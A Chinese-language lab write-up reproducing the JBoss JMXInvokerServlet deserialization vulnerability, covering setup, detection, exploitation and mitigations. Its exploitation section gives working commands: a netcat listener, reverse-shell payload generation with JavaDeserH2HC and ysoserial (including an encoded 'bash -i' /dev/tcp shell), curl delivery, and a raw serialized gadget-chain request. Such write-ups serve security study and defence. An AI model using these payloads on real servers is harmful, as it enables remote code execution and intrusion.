JBoss简介

​ Jboss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

默认端口:8080

下载地址:https://jbossas.jboss.org/downloads/

漏洞描述

JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。

由于JBossinvoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件⽀持Java反序列化导致产生漏洞。

影响版本

JBoss应用服务器:3.2.4~4.0.5

环境复现

java环境:JDK 6

在官网下载相应的JBoss版本

配置环境变量

1
2
JBOSS_HOME
C:\xxx(JBoss安装地址)
1
2
PATH
;%JBOSS_HOME%\bin;

外网访问

1
2
3
4
JBoss6: \server\default\deploy\jbossweb.sar\server.xml
JBoss4: \server\default\deploy\jboss-web.deployer\server.xml

将address="${jboss.bind.address}"改成address="0.0.0.0"

启动

1
2
3
JBoss\bin\run.bat

访问http://127.0.0.1:8080

漏洞利用

JBoss漏洞检测

  1. JBoss漏洞检测工具下载

https://github.com/fupinglee/JavaTools/tree/master/JBoss

  1. 先探测是否具有JBoss服务
1
app="jboss"

根据HTTP头部

1
2
3
4
5
6
# http头部显示jboss服务和版本信息
Server: JBoss-EAP/7
# http头部显示,Apache-Coyote 是Tomcat的连接器,被多个Java servlet容器使用作为socket处理组件,有tomcat,jboss等
Server: Apache-Coyote/1.1
# X-Powered-By
X-Powered-By: Servlet 2.4; JBoss-4.2.3.GA

访问如下地址

1
http://127.0.0.1:8080/invoker/JMXInvokerServlet

如果提示下载信息,则说明存在此漏洞

监听端口

1
nc -lvnp 8888

下载JavaDeserH2HC工具

https://github.com/joaomatosf/JavaDeserH2HC

1
2
3
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 127.0.0.1:8888
curl http://127.0.0.1:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

也可以使用ysoserial.jar工具

https://github.com/frohoff/ysoserial

这里命令是bash -i >& /dev/tcp/127.0.0.1/8888 0>&1,需要先进行编码

1
2
3
4
java  -jar  ysoserial.jar  CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" > jboss.ser

curl http://127.0.0.1:8080/invoker/JMXInvokerServlet --data-binary @jboss.ser -x http://127.0.0.1:1080
-x 是设置代理

HTTP头部抓包

1
2
3
4
5
6
7
8
9
10
POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: */*
Content-Length: 1630
Content-Type: application/x-www-form-urlencoded
Expect: 100-continue
Connection: close

%ac%ed=&sr=&2sun.reflect.annotation.AnnotationInvocationHandlerU%ca%f5=&%cb%7e%a5=&L=&memberValuest=&Ljava%2futil%2fMap%3bL=&typet=&Ljava%2flang%2fClass%3bxps%7d=&java.util.Mapxr=&java.lang.reflect.Proxy%e1%27%da+%cc=&C%cb=&L=&ht=&%25Ljava%2flang%2freflect%2fInvocationHandler%3bxpsq=&%7e=&sr=&*org.apache.commons.collections.map.LazyMapn%e5%94%82%9ey=&%94=&L=&factoryt=&%2cLorg%2fapache%2fcommons%2fcollections%2fTransformer%3bxpsr=&%3aorg.apache.commons.collections.functors.ChainedTransformer0%c7%97%ec%28z%97=&%5b=&iTransformerst=&-%5bLorg%2fapache%2fcommons%2fcollections%2fTransformer%3bxpur=&-%5bLorg.apache.commons.collections.Transformer%3b%bdV*%f1%d84=&%99=&xp=&sr=&%3borg.apache.commons.collections.functors.ConstantTransformerXv%90=&A=&%b1%94=&L=&iConstantt=&Ljava%2flang%2fObject%3bxpvr=&java.lang.Runtime=&xpsr=&%3aorg.apache.commons.collections.functors.InvokerTransformer%87%e8%ffk%7b%7c%ce8=&%5b=&iArgst=&%5bLjava%2flang%2fObject%3bL=&iMethodNamet=&Ljava%2flang%2fString%3b%5b=&iParamTypest=&%5bLjava%2flang%2fClass%3bxpur=&%5bLjava.lang.Object%3b%90%ceX%9f=&s%29l=&xp=&t=&getRuntimeur=&%5bLjava.lang.Class%3b%ab=&%d7%ae%cb%cdZ%99=&xp=&t=&getMethoduq=&%7e=&vr=&java.lang.String%a0%f0%a48z%3b%b3B=&xpvq=&%7e=&sq=&%7e=&uq=&%7e=&puq=&%7e=&t=&invokeuq=&%7e=&vr=&java.lang.Object=&xpvq=&%7e=&sq=&%7e=&ur=&%5bLjava.lang.String%3b%ad%d2V%e7%e9=&%7bG=&xp=&t=&{这里为输入命令}&execuq=&%7e=&q=&%7e=&%23sq=&%7e=&sr=&java.lang.Integer=&%e2%a0%a4%f7%81%878=&I=&valuexr=&java.lang.Number%86%ac%95=&%94%e0%8b=&xp=&sr=&java.util.HashMap=&%da%c1%c3=&%60%d1=&F=&loadFactorI=&thresholdxp%3f@=&w=&xxvr=&java.lang.Override=&xpq=&%7e=&%3a=

防御措施

  1. 删除http-invoker.sar组件

  2. 设置http-invoker

    1
    2
    3
    4
    jboss\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml

    在security-constraint 标签中添加以下代码
    <url-pattern>/*</url-pattern>
  3. 升级JBoss版本